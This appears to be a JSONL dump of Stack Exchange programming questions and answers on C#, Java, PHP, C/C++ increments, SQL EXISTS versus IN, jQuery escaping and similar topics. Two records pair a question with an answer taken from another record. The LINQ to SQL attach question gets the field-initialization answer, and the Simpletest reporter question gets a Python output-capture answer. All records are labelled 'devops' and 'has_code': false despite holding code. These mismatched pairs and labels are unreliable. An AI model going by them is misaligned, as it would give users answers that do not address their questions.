{"id": "hf_017c7222848d", "question": "<p>I've been programming in C# and Java recently and I am curious where the best place is to initialize my class fields.</p>\n\n<p>Should I do it at declaration?:</p>\n\n<pre><code>public class Dice\n{\n    private int topFace = 1;\n    private Random myRand = new Random();\n\n    public void Roll()\n    {\n       // ......\n    }\n}\n</code></pre>\n\n<p>or in a constructor?:</p>\n\n<pre><code>public class Dice\n{\n    private int topFace;\n    private Random myRand;\n\n    public Dice()\n    {\n        topFace = 1;\n        myRand = new Random();\n    }\n\n    public void Roll()\n    {\n        // .....\n    }\n}\n</code></pre>\n\n<p>I'm really curious what some of you veterans think is the best practice. I want to be consistent and stick to one approach.</p>\n", "question_body": "", "answer": "My rules:\nDon't initialize with the default values in declaration (\n```\nnull\n```\n,\n```\nfalse\n```\n,\n```\n0\n```\n,\n```\n0.0\n```\n…).\nPrefer initialization in declaration if you don't have a constructor parameter that changes the value of the field.\nIf the value of the field changes because of a constructor parameter put the initialization in the constructors.\nBe consistent in your practice (the most important rule).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.979116"}
{"id": "hf_be41dd0b393e", "question": "<p>In LINQ to SQL, is it possible to check to see if an entity is already part of the data context before trying to attach it?</p>\n\n<p>A little context if it helps...</p>\n\n<p>I have this code in my <code>global.asax</code> as a helper method.  Normally, between requests, this isn't a problem.  But right after signing in, this is getting called more than once, and the second time I end up trying to attach the <code>Member</code> object in the same unit of work where it was created.</p>\n\n<pre><code>private void CheckCurrentUser()\n{\n    if (!HttpContext.Current.User.Identity.IsAuthenticated)\n    {\n        AppHelper.CurrentMember = null;\n        return;\n    }\n\n    IUserService userService = new UserService();\n\n    if (AppHelper.CurrentMember != null)\n        userService.AttachExisting(AppHelper.CurrentMember);\n    else\n        AppHelper.CurrentMember = userService.GetMember(\n            HttpContext.Current.User.Identity.Name,\n            AppHelper.CurrentLocation);\n}\n</code></pre>\n", "question_body": "", "answer": "My rules:\nDon't initialize with the default values in declaration (\n```\nnull\n```\n,\n```\nfalse\n```\n,\n```\n0\n```\n,\n```\n0.0\n```\n…).\nPrefer initialization in declaration if you don't have a constructor parameter that changes the value of the field.\nIf the value of the field changes because of a constructor parameter put the initialization in the constructors.\nBe consistent in your practice (the most important rule).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.004118"}
{"id": "hf_78d4fe97e4b7", "question": "<p>Is there a good ruby gem for a WYSIWYG editor that will easily work with a rails app?</p>\n", "question_body": "", "answer": "Though it's certainly not a direct answer, in the past I've found I prefer to use RedCloth (or a Markdown parser if you don't enjoy Textile) and use a simple textarea with an AJAXy preview. Generally speaking, WYSIWYG editors have a long history of creating redundant tags and similar, leading to potentially broken pieces of HTML.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.028363"}
{"id": "hf_062575d352fb", "question": "<p>How do you turn a Visual Studio build that you'd perform in the IDE into a script that you can run from the command line?</p>\n", "question_body": "", "answer": "Look into  build tool\nNAnt\nor\nMSBuild\n. I believe MSBuild is the build tool for Visual Studio 2005 and later. I am, however, a fan of NAnt...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.052188"}
{"id": "hf_ab9e2a03dcb8", "question": "<p>I am considering creating my own website using Java and am trying to decide what framework to use. However, doing a quick search for Java frameworks returns more than 50 to choose from!</p>\n\n<p>My website is just going to be for my own enjoyment of building it in the beginning, but if it becomes popular, it would be good for it to have some scalability, or to at least be able to redesign for that.</p>\n\n<p>What are the main differences between the more popular frameworks? Are there instances where one significantly outperforms the others? For example, high-traffic enterprise applications versus low-traffic small applications. I'm also wondering if some are much easier to learn and use than others.</p>\n\n<p>Is there anyone who has experience with some of these frameworks and can make a recommendation? Does the sheer number of choices just serve as an early warning to avoid Java-based web development where possible?</p>\n", "question_body": "", "answer": "Disclamer: I work at Vaadin (previously IT Mill)\nIf you are doing something RIAish, you might want to take look at\nVaadin\n. It's an open source UI-oriented AJAX framework that, to me, is nice to use (I come from a PHP background myself).\nThere's a\ncase study\nthat compares doing the same application (i.e. two applications with the same set of features) in Icefaces and Vaadin. In a nutshell, it states that the UI development was considerably faster.\nEven though the study is hosted at the company's wiki, I can assure that it's objective, genuine and truthful, although I can't force you in believing me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.088748"}
{"id": "hf_2632c58a46d0", "question": "<p>What can be reasons to prevent a class from being inherited? (e.g. using sealed on a c# class)\nRight now I can't think of any.</p>\n", "question_body": "", "answer": "How about if you are not sure about the interface yet and don't want any other code depending on the present interface? [That's off the top of my head, but I'd be interested in other reasons as well!]\nEdit:\nA bit of googling gave the following:\nhttp://codebetter.com/blogs/patricksmacchia/archive/2008/01/05/rambling-on-the-sealed-keyword.aspx\nQuoting:\nThere are three reasons why a sealed class is better than an unsealed class:\nVersioning\n: When a class is originally sealed, it can change to unsealed in the future without breaking compatibility. (…)\nPerformance\n: (…) if the JIT compiler sees a call to a virtual method using a sealed types, the JIT compiler can produce more efficient code by calling the method non-virtually.(…)\nSecurity and Predictability\n: A class must protect its own state and not allow itself to ever become corrupted. When a class is unsealed, a derived class can access and manipulate the base class’s state if any data fields or methods that internally manipulate fields are accessible and not private.(…)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.138301"}
{"id": "hf_c7a2696cff18", "question": "<p>I can set the PHP include path in the <code>php.ini</code>:</p>\n\n<pre><code>include_path = /path/to/site/includes/\n</code></pre>\n\n<p>But then other websites are affected so that is no good.</p>\n\n<p>I can set the PHP include in the start of every file:</p>\n\n<pre><code>$path = '/path/to/site/includes/';\nset_include_path(get_include_path() . PATH_SEPARATOR . $path);\n</code></pre>\n\n<p>But that seems like bad practice and clutters things up. </p>\n\n<p>So I can make an include of that and then include it into every file:</p>\n\n<pre><code>include 'includes/config.php';\n</code></pre>\n\n<p>or</p>\n\n<pre><code>include '../includes/config.php';\n</code></pre>\n\n<p>This is what I'm doing right now, but the include path of <code>config.php</code> will change depending on what is including it. </p>\n\n<p>Is there a better way? Does it matter?</p>\n", "question_body": "", "answer": "If you're using apache as a webserver you can override (if you allow it) settings using\n.htaccess\nfiles. See\nthe PHP manual\nfor details.\nBasically you put a file called\n.htaccess\nin your website root, which contains some PHP\n```\nini\n```\nvalues. Provided you configured Apache to allow overrides, this site will use all values in your PHP config, + the values you specify in the\n.htaccess\nfile.\nCan be used only with\n```\nPHP_INI_ALL\n```\nand\n```\nPHP_INI_PERDIR\n```\ntype directives\nas stated in the page I linked. If you click through to the full listing, you see that the include path is a\n```\nPHP_INI_ALL\n```\ndirective.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.163510"}
{"id": "hf_02d57496a0b2", "question": "<p>Can you tell me what is the difference between <strong>abstraction</strong> and <strong>information hiding</strong> in software development?</p>\n\n<p>I am confused. Abstraction hides detail implementation and\ninformation hiding abstracts whole details of something.</p>\n\n<p><strong>Update:</strong> I found a good answer for these three concepts. <a href=\"https://stackoverflow.com/a/8694874/240733\">See the separate answer below</a> for several citations taken from <a href=\"http://web.archive.org/web/20080906224409/http://www.itmweb.com/essay550.htm\" rel=\"noreferrer\">there</a>.</p>\n", "question_body": "", "answer": "The meaning of abstraction given by the Oxford English Dictionary (OED) closest to the meaning intended here is 'The act of separating in thought'. A better definition might be 'Representing the essential features of something without including background or inessential detail.'\nInformation hiding is the principle that users of a software component (such as a class) need to know only the essential details of how to initialize and access the component, and do not need to know the details of the implementation.\nEdit\n: I seems to me that abstraction is the\nprocess\nof deciding which parts of the implementation that should be\nhidden\n.\nSo its not abstraction VERSUS information hiding. It's information hiding VIA abstraction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.200519"}
{"id": "hf_eba345c3d46c", "question": "<p>Jeff actually posted about this in <a href=\"http://refactormycode.com/codes/333-sanitize-html\" rel=\"noreferrer\">Sanitize HTML</a>. But his example is in C# and I'm actually more interested in a Java version. Does anyone have a better version for Java? Is his example good enough to just convert directly from C# to Java?</p>\n<p>[Update] I have put a bounty on this question because SO wasn't as popular when I asked the question as it is today (*). As for anything related to security, the more people look into it, the better it is!</p>\n<p>(*) In fact, I think it was still in closed beta</p>\n", "question_body": "", "answer": "The biggest problem by using jeffs code is the @ which currently isnt available.\nI would probably just take the \"raw\" regexp from jeffs code if i needed it and paste it into\nhttp://www.cis.upenn.edu/~matuszek/General/RegexTester/regex-tester.html\nand see the things needing escape get escaped and then use it.\nTaking the usage of this regex in mind I would personally make sure I understood exactly what I was doing, why and what consequences would be if I didnt succeed, before copy/pasting anything, like the other answers try to help you with.\n(Thats propbably pretty sound advice for any copy/paste)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.316132"}
{"id": "hf_c6765be0a9fc", "question": "<p>What are some resources for getting started writing a Firefox Addon?  Is there an API guide somewhere?  Is there a getting started tutorial somewhere?  Is there a developer discussion board somewhere?</p>\n", "question_body": "", "answer": "This is a great resource to start learning how to build a FireFox extension:\nHow to create Firefox extensions\nThis is an awesome tutorial and will covers most type of extensions.\nEdit: Updated link to use archived copy since original page no longer exists", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.377112"}
{"id": "hf_643ca525abd4", "question": "<p>Does anyone know of an easy way to escape HTML from strings in <a href=\"http://jquery.com/\" rel=\"noreferrer\">jQuery</a>?  I need to be able to pass an arbitrary string and have it properly escaped for display in an HTML page (preventing JavaScript/HTML injection attacks).  I'm sure it's possible to extend jQuery to do this, but I don't know enough about the framework at the moment to accomplish this.</p>\n", "question_body": "", "answer": "If you're escaping for HTML, there are only three that I can think of that would be really necessary:\n```\n```\nhtml.replace(/&/g, \"&amp;\").replace(/</g, \"&lt;\").replace(/>/g, \"&gt;\");\n```\n```\nDepending on your use case, you might also need to do things like\n```\n\"\n```\nto\n```\n&quot;\n```\n.  If the list got big enough, I'd just use an array:\n```\n```\nvar escaped = html;\nvar findReplace = [[/&/g, \"&amp;\"], [/</g, \"&lt;\"], [/>/g, \"&gt;\"], [/\"/g, \"&quot;\"]]\nfor(var item in findReplace)\n    escaped = escaped.replace(findReplace[item][0], findReplace[item][1]);\n```\n```\n```\nencodeURIComponent()\n```\nwill only escape it for URLs, not for HTML.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.438613"}
{"id": "hf_b85976d2a8e5", "question": "<p>Is there any JavaScript method similar to the jQuery <code>delay()</code> or <code>wait()</code> (to delay the execution of a script for a specific amount of time)?</p>\n", "question_body": "", "answer": "You need to use\nsetTimeout\nand pass it a callback function. The reason you can't use sleep in javascript is because you'd block the entire page from doing anything in the meantime. Not a good plan. Use Javascript's event model and stay happy. Don't fight it!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.487846"}
{"id": "hf_119dfceacc25", "question": "<p>In C, what is the difference between using <code>++i</code> and <code>i++</code>, and which should be used in the incrementation block of a <code>for</code> loop?</p>\n", "question_body": "", "answer": "```\n++i\n```\nincrements the value, then returns it.\n```\ni++\n```\nreturns the value, and then increments it.\nIt's a subtle difference.\nFor a for loop, use\n```\n++i\n```\n, as it's slightly faster.\n```\ni++\n```\nwill create an extra copy that just gets thrown away.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.512480"}
{"id": "hf_314d1cf677a1", "question": "<p>I'm trying to solve <a href=\"http://uva.onlinejudge.org/external/1/100.pdf\" rel=\"noreferrer\">the 3n+1 problem</a> and I have a <code>for</code> loop that looks like this: </p>\n\n<pre><code>for(int i = low; i &lt;= high; ++i)\n        {\n                res = runalg(i);\n                if (res &gt; highestres)\n                {\n                        highestres = res;\n                }\n\n        }\n</code></pre>\n\n<p>Unfortunately I'm getting this error when I try to compile with GCC:</p>\n\n<blockquote>\n  <p>3np1.c:15: error: 'for' loop initial\n  declaration used outside C99 mode</p>\n</blockquote>\n\n<p>I don't know what C99 mode is. Any ideas?</p>\n", "question_body": "", "answer": "I'd try to declare\n```\ni\n```\noutside of the loop!\nGood luck on solving 3n+1 :-)\nHere's an example:\n```\n```\n#include <stdio.h>\n\nint main() {\n\n   int i;\n\n   /* for loop execution */\n   for (i = 10; i < 20; i++) {\n       printf(\"i: %d\\n\", i);\n   }   \n\n   return 0;\n}\n```\n```\nRead more on for loops in C\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.554902"}
{"id": "hf_db9691724ba4", "question": "<p>Is there a performance difference between <code>i++</code> and <code>++i</code> if the resulting value is not used?</p>\n", "question_body": "", "answer": "Executive summary:  No.\n```\ni++\n```\ncould potentially be slower than\n```\n++i\n```\n, since the old value of\n```\ni\n```\nmight need to be saved for later use, but in practice all modern\ncompilers will optimize this away.\nWe can demonstrate this by looking at the code for this function,\nboth with\n```\n++i\n```\nand\n```\ni++\n```\n.\n```\n```\n$ cat i++.c\nextern void g(int i);\nvoid f()\n{\n    int i;\n\n    for (i = 0; i < 100; i++)\n        g(i);\n\n}\n```\n```\nThe files are the same, except for\n```\n++i\n```\nand\n```\ni++\n```\n:\n```\n```\n$ diff i++.c ++i.c\n6c6\n<     for (i = 0; i < 100; i++)\n---\n>     for (i = 0; i < 100; ++i)\n```\n```\nWe'll compile them, and also get the generated assembler:\n```\n```\n$ gcc -c i++.c ++i.c\n$ gcc -S i++.c ++i.c\n```\n```\nAnd we can see that both the generated object and assembler files are the same.\n```\n```\n$ md5 i++.s ++i.s\nMD5 (i++.s) = 90f620dda862cd0205cd5db1f2c8c06e\nMD5 (++i.s) = 90f620dda862cd0205cd5db1f2c8c06e\n\n$ md5 *.o\nMD5 (++i.o) = dd3ef1408d3a9e4287facccec53f7d22\nMD5 (i++.o) = dd3ef1408d3a9e4287facccec53f7d22\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.578907"}
{"id": "hf_138d78a8bc38", "question": "<p>I've always heard that in C you have to really watch how you manage memory. And I'm still beginning to learn C, but thus far, I have not had to do any memory managing related activities at all.. I always imagined having to release variables and do all sorts of ugly things. But this doesn't seem to be the case.</p>\n\n<p>Can someone show me (with code examples) an example of when you would have to do some \"memory management\" ?</p>\n", "question_body": "", "answer": "You have to do \"memory management\" when you want to use memory on the heap rather than the stack. If you don't know how large to make an array until runtime, then you have to use the heap. For example, you might want to store something in a string, but don't know how large its contents will be until the program is run. In that case you'd write something like this:\n```\n```\nchar *string = malloc(stringlength); // stringlength is the number of bytes to allocate\n\n // Do something with the string...\n\n free(string); // Free the allocated memory\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.604348"}
{"id": "hf_2289d7e22dd0", "question": "<p>We have the question <a href=\"/q/24886\">is there a performance difference between <code>i++</code> and <code>++i</code> <strong>in C</strong>?</a></p>\n\n<p>What's the answer for C++?</p>\n", "question_body": "", "answer": "[Executive Summary: Use\n```\n++i\n```\nif you don't have a specific reason to use\n```\ni++\n```\n.]\nFor C++, the answer is a bit more complicated.\nIf\n```\ni\n```\nis a simple type (not an instance of a C++ class),\nthen the answer given for C (\"No there is no performance difference\")\nholds, since the compiler is generating the code.\nHowever, if\n```\ni\n```\nis an instance of a C++ class, then\n```\ni++\n```\nand\n```\n++i\n```\nare making calls to one of the\n```\noperator++\n```\nfunctions. Here's a standard pair of these functions:\n```\n```\nFoo& Foo::operator++()   // called for ++i\n{\n    this->data += 1;\n    return *this;\n}\n\nFoo Foo::operator++(int ignored_dummy_value)   // called for i++\n{\n    Foo tmp(*this);   // variable \"tmp\" cannot be optimized away by the compiler\n    ++(*this);\n    return tmp;\n}\n```\n```\nSince the compiler isn't generating code, but just calling an\n```\noperator++\n```\nfunction, there is no way to optimize away the\n```\ntmp\n```\nvariable and its associated copy constructor. If the copy constructor is expensive, then this can have a significant performance impact.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.628731"}
{"id": "hf_d02010e6e39c", "question": "<p>What is the difference between the <code>EXISTS</code> and <code>IN</code> clause in SQL?</p>\n\n<p>When should we use <code>EXISTS</code>, and when should we use <code>IN</code>?</p>\n", "question_body": "", "answer": "I'm assuming you know what they do, and thus are used differently, so I'm going to understand your question as: When would it be a good idea to rewrite the SQL to use IN instead of EXISTS, or vice versa.\nIs that a fair assumption?\nEdit\n: The reason I'm asking is that in many cases you can rewrite an SQL based on IN to use an EXISTS instead, and vice versa, and for some database engines, the query optimizer will treat the two differently.\nFor instance:\n```\n```\nSELECT *\nFROM Customers\nWHERE EXISTS (\n    SELECT *\n    FROM Orders\n    WHERE Orders.CustomerID = Customers.ID\n)\n```\n```\ncan be rewritten to:\n```\n```\nSELECT *\nFROM Customers\nWHERE ID IN (\n    SELECT CustomerID\n    FROM Orders\n)\n```\n```\nor with a join:\n```\n```\nSELECT Customers.*\nFROM Customers\n    INNER JOIN Orders ON Customers.ID = Orders.CustomerID\n```\n```\nSo my question still stands, is the original poster wondering about what IN and EXISTS does, and thus how to use it, or does he ask wether rewriting an SQL using IN to use EXISTS instead, or vice versa, will be a good idea?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.665054"}
{"id": "hf_2671d90f082e", "question": "<ol>\n<li>Is it possible to capture Python interpreter's output from a Python script?</li>\n<li>Is it possible to capture Windows CMD's output from a Python script?</li>\n</ol>\n\n<p>If so, which librar(y|ies) should I look into?</p>\n", "question_body": "", "answer": "In which context are you asking?\nAre you trying to capture the output from a program you start on the command line?\nif so, then this is how to execute it:\n```\n```\nsomescript.py | your-capture-program-here\n```\n```\nand to read the output, just read from standard input.\nIf, on the other hand, you're executing that script or cmd.exe or similar from within your program, and want to wait until the script/program has finished, and capture all its output, then you need to look at the library calls you use to start that external program, most likely there is a way to ask it to give you some way to read the output and wait for completion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.689915"}
{"id": "hf_6f4145872f85", "question": "<p>I am using <a href=\"http://www.simpletest.org/\" rel=\"nofollow noreferrer\">Simpletest</a> as my unit test framework for the PHP site I am currently working on. I like the fact that it is shipped with a simple HTML reporter, but I would like a bit more advanced reporter.</p>\n\n<p>I have read the reporter API documentation, but it would be nice to be able to use an existing reporter, instead of having to do it yourself.</p>\n\n<p>Are there any good extended HTML reporters or GUI's out there for Simpletest?</p>\n\n<p>Tips on GUI's for PHPUnit would also be appreciated, but my main focus is Simpletest, for this project. I have tried <a href=\"http://cool.sourceforge.net/\" rel=\"nofollow noreferrer\">Cool PHPUnit Test Runner</a>, but was not convinced.</p>\n", "question_body": "", "answer": "In which context are you asking?\nAre you trying to capture the output from a program you start on the command line?\nif so, then this is how to execute it:\n```\n```\nsomescript.py | your-capture-program-here\n```\n```\nand to read the output, just read from standard input.\nIf, on the other hand, you're executing that script or cmd.exe or similar from within your program, and want to wait until the script/program has finished, and capture all its output, then you need to look at the library calls you use to start that external program, most likely there is a way to ask it to give you some way to read the output and wait for completion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.714800"}
{"id": "hf_f3bba58969e9", "question": "<p>How to determine the applications associated with a particular extension (e.g. .JPG) and then determine where the executable to that application is located so that it can be launched via a call to say System.Diagnostics.Process.Start(...).</p>\n\n<p>I already know how to read and write to the registry.  It is the layout of the registry that makes it harder to determine in a standard way what applications are associated with an extension, what are there display names, and where their executables are located.</p>\n", "question_body": "", "answer": "The file type associations are stored in the Windows registry, so you should be able to use the\nMicrosoft.Win32.Registry class\nto read which application is registered for which file format.\nHere are two articles that might be helpful:\nReading and Writing the Registry in .NET\nWindows Registry Using C#", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.739651"}
{"id": "hf_487ad7d6fffd", "question": "<p>I am currently learning OLAP &amp; MDX after many years of relational database development.  </p>\n\n<p>Any tips on getting started in MDX? What are the best books and resources to learn MDX?</p>\n", "question_body": "", "answer": "A classic, albeit a bit dated, book is\nFast Track to MDX\n. It's a great overview and a quick read, though it doesn't cover the new MDX features of SQL Server 2005.\nThe Spofford book\nMDX Solutions\nis more up date and a little deeper, but a bit harder to get through.\nI also highly recommend the blogs of\nMosha Pasumansky\n,\nChris Webb\n, and\nDarren Gosbell\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.777176"}
{"id": "hf_ac54a3227f92", "question": "<p>I have defined a Java function:</p>\n\n<pre><code>static &lt;T&gt; List&lt;T&gt; createEmptyList() {\n    return new ArrayList&lt;T&gt;();\n}\n</code></pre>\n\n<p>One way to call it is like so:</p>\n\n<pre><code>List&lt;Integer&gt; myList = createEmptyList(); // Compiles\n</code></pre>\n\n<p>Why can't I call it by explicitly passing the generic type argument? :</p>\n\n<pre><code>Object myObject = createEmtpyList&lt;Integer&gt;(); // Doesn't compile. Why?\n</code></pre>\n\n<p>I get the error <code>Illegal start of expression</code> from the compiler.</p>\n", "question_body": "", "answer": "You can, if you pass in the type as a method parameter.\n```\n```\nstatic <T> List<T> createEmptyList( Class<T> type ) {\n  return new ArrayList<T>();\n}\n\n@Test\npublic void createStringList() {\n  List<String> stringList = createEmptyList( String.class );\n}\n```\n```\nMethods cannot be genericised in the same way that a type can, so the only option for a method with a dynamically-typed generic return type -- phew that's a mouthful :-) -- is to pass in the type as an argument.\nFor a truly excellent FAQ on Java generics,\nsee Angelika Langer's generics FAQ\n.\n.\n.\nFollow-up:\nIt wouldn't make sense in this context to use the array argument as in\n```\nCollection.toArray( T[] )\n```\n. The only reason an array is used there is because the same (pre-allocated) array is used to contain the results (if the array is large enough to fit them all in). This saves on allocating a new array at run-time all the time.\nHowever, for the purposes of education, if you did want to use the array typing, the syntax is very similar:\n```\n```\nstatic <T> List<T> createEmptyList( T[] array ) {\n  return new ArrayList<T>();\n}\n\n@Test\npublic void testThing() {\n  List<Integer> integerList = createEmptyList( new Integer[ 1 ] );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.814607"}
{"id": "hf_2a8b42a40595", "question": "<p>I have a WCF Web Service which is referenced from a class library. After the project is run, when creating the service client object from inside a class library, I receive an InvalidOperationException with message:</p>\n\n<blockquote>\n  <p>Could not find default endpoint element that references contract\n  'MyServiceReference.IMyService' in the ServiceModel client\n  configuration section. This might be because no configuration file was\n  found for your application, or because no endpoint element matching\n  this contract could be found in the client element.</p>\n</blockquote>\n\n<p>The code I am using to create the instance is:</p>\n\n<pre><code>myServiceClient = new MyServiceClient();\n</code></pre>\n\n<p>where MyServiceClient inherits from</p>\n\n<p>System.ServiceModel.ClientBase</p>\n\n<p>How do I solve this?</p>\n\n<p>Note: I have a seperate console application which simply creates the same service object and makes calls to it and it works without no problems.</p>\n", "question_body": "", "answer": "It would probably help if you posted your app.config file, since this kind of error tends to point to a problem in the\n```\n<endpoint>\n```\nblock.  Make sure the contract attribute seems right to you.\nEdit: Try fully qualifying your contract value; use the full namespace.  I think that is needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.839051"}
{"id": "hf_fe36f2b9d9e2", "question": "<p>What's the easiest way to convert a percentage to a color ranging from Green (100%) to Red (0%), with Yellow for 50%?</p>\n\n<p>I'm using plain 32bit RGB - so each component is an integer between 0 and 255. I'm doing this in C#, but I guess for a problem like this the language doesn't really matter that much.</p>\n\n<p>Based on Marius and Andy's answers I'm using the following solution:</p>\n\n<pre><code>double red = (percent &lt; 50) ? 255 : 256 - (percent - 50) * 5.12;\ndouble green = (percent &gt; 50) ? 255 : percent * 5.12;\nvar color = Color.FromArgb(255, (byte)red, (byte)green, 0);\n</code></pre>\n\n<p>Works perfectly - Only adjustment I had to make from Marius solution was to use 256, as (255 - (percent - 50) * 5.12 yield -1 when 100%, resulting in Yellow for some reason in Silverlight (-1, 255, 0) -> Yellow ...</p>\n", "question_body": "", "answer": "As yellow is a mix of red and green, you can probably start with\n```\n#F00\n```\nand then slide green up until you hit\n```\n#FF0\n```\n, then slide red down to\n```\n#0F0\n```\n:\n```\n```\nfor (int i = 0; i < 100; i++) {\n    var red = i < 50\n        ? 255\n        : 255 - (256.0 / 100 * ((i - 50) * 2));\n    var green = i < 50\n        ? 256.0 / 100 * (i * 2)\n        : 255;\n    var col = Color.FromArgb((int) red, (int) green, 0);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.879315"}
{"id": "hf_730679ce0208", "question": "<p>Does anyone have any suggestions on how to mentor a junior programmer ? If you have mentored someone did you follow any process or was it quite informal ?</p>\n\n<p>If you've been mentored in the past what kind of things did you find most helpful ?</p>\n", "question_body": "", "answer": "Try to set aside between 30-60 minutes a day to review their code together. If you can't do this, then try to get together to review their code whenever they make a code commit, unless it was very basic. Have them explain why they chose the approach they took in lieu of others. A process like this helps to establish a great relationship, as well as really stimulate the student to think on their own and be able to defend their decisions. Not only does the student end up with someone approachable whom they can trust, but you'll notice an improvement in their quality of code and logic almost immediately.\nEdit\n: Also, If you are unable to commit this much time to co-review with your junior, then you probably shouldn't be mentoring them and instead see if anyone else has a schedule that would allow it. The whole point of mentoring is to actively aid in the professional development of the student, and they're not going to learn much if proper attention and guidance is not given to them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.954557"}
